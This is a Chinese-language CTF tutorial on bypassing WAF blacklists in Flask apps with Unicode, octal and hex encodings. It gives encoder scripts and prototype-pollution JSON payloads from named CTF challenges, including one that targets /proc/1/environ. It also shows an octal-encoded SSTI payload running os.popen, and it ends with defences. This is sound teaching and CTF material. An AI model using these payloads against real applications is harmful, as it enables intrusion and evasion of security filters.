基于flask常见trick——unicode&进制编码绕过
字数 1168 2025-08-22 12:22:37
Flask安全漏洞:Unicode与进制编码绕过技术详解
前言
Flask作为轻量级Python Web框架,在CTF比赛中经常出现,常见漏洞包括debug模式PIN码计算、SSTI(服务器端模板注入)和原型链污染等。本文将重点探讨基于编码绕过的技术,特别是Unicode编码和进制编码在绕过WAF(Web应用防火墙)中的应用。
Unicode编码绕过
基本原理
Python的json模块会自动解析Unicode转义序列(如\uXXXX格式),将其转换为相应的Unicode字符。当WAF在json.loads()之前对流量进行监测时,可以利用Unicode编码绕过黑名单检测。
Unicode编码转换脚本
def string_to_unicode(input_string):
# 将每个字符转换为Unicode转义序列
unicode_string = ''.join(f'\\u{ord(char):04x}' for char in input_string)
return unicode_string
# 测试
input_string = "你好,世界!"
unicode_encoded = string_to_unicode(input_string)
print(f"Original String: {input_string}")
print(f"Unicode Encoded: {unicode_encoded}")
实际应用案例
案例1:DASCTF2023七月暑期挑战赛EzFlask
漏洞点:原型链污染,__init__被黑名单过滤
绕过方法:使用Unicode编码绕过黑名单检测
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
"__globals__": {
"__file__": "/proc/1/environ"
}
}
}
案例2:XGCTF2024_easy_polluted
漏洞点:需要污染app.secret_key和修改Jinja2模板字符串
绕过方法:
- 污染Jinja2模板字符串:
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
"\u0061\u0070\u0070": {
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076": {
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067": "[#",
"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067": "#]"
}
}
}
}
}
- 污染secret_key后,使用
username=adminer&password=Z3r4y登录
进制编码绕过
基本原理
Jinja2模板引擎可以解析和处理Python字符串中的八进制、十六进制、Unicode转义等格式,这为绕过WAF提供了可能。
八进制编码
转换脚本:
def string_to_octal_escape(input_string):
octal_escape = ''.join(f'\\{ord(char):03o}' for char in input_string)
return octal_escape
# 示例
input_string = "__import__('os').popen('ls /').read()"
octal_escape_string = string_to_octal_escape(input_string)
print(f"字符串 '{input_string}' 的八进制转义表示为: {octal_escape_string}")
应用示例:
将SSTI payload转换为八进制形式:
\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\40\57\47\51\56\162\145\141\144\50\51
十六进制编码
转换脚本:
def string_to_hex_with_prefix(input_string):
# 将每个字符转换为\x前缀的十六进制表示
hex_string = ''.join(f'\\x{ord(char):02x}' for char in input_string)
return hex_string
# 测试
input_string = "__class__"
hex_encoded = string_to_hex_with_prefix(input_string)
print(f"Original String: {input_string}")
print(f"Hex Encoded: {hex_encoded}")
无字母攻击技术
通过进制编码可以实现完全无字母的攻击payload。例如,通过查找<class 'os._wrap_close'>在内存中的位置(如137),可以构造特殊的调用链。
防御措施
- 输入验证:对所有用户输入进行严格验证
- 上下文感知过滤:在正确的处理阶段进行过滤(如在json解析后而非之前)
- 最小权限原则:限制模板引擎的功能
- 编码规范化:在处理前统一规范化所有输入
- 使用安全函数:如
json.loads()而非eval()
总结
Flask应用中,编码绕过技术主要利用了两个关键点:
- JSON解析特性:
json.loads()会自动解析Unicode转义序列 - Jinja2模板特性:支持多种进制编码的解析
这些特性在特定场景下可以绕过WAF的黑名单检测,特别是在过滤逻辑与解析逻辑顺序不当的情况下。理解这些技术有助于开发更安全的Web应用,也为安全研究人员提供了检测漏洞的新视角。
参考题目
- DASCTF2023七月暑期挑战赛EzFlask
- XGCTF2024_easy_polluted
- 2024长城杯CandyShop(可复现练习)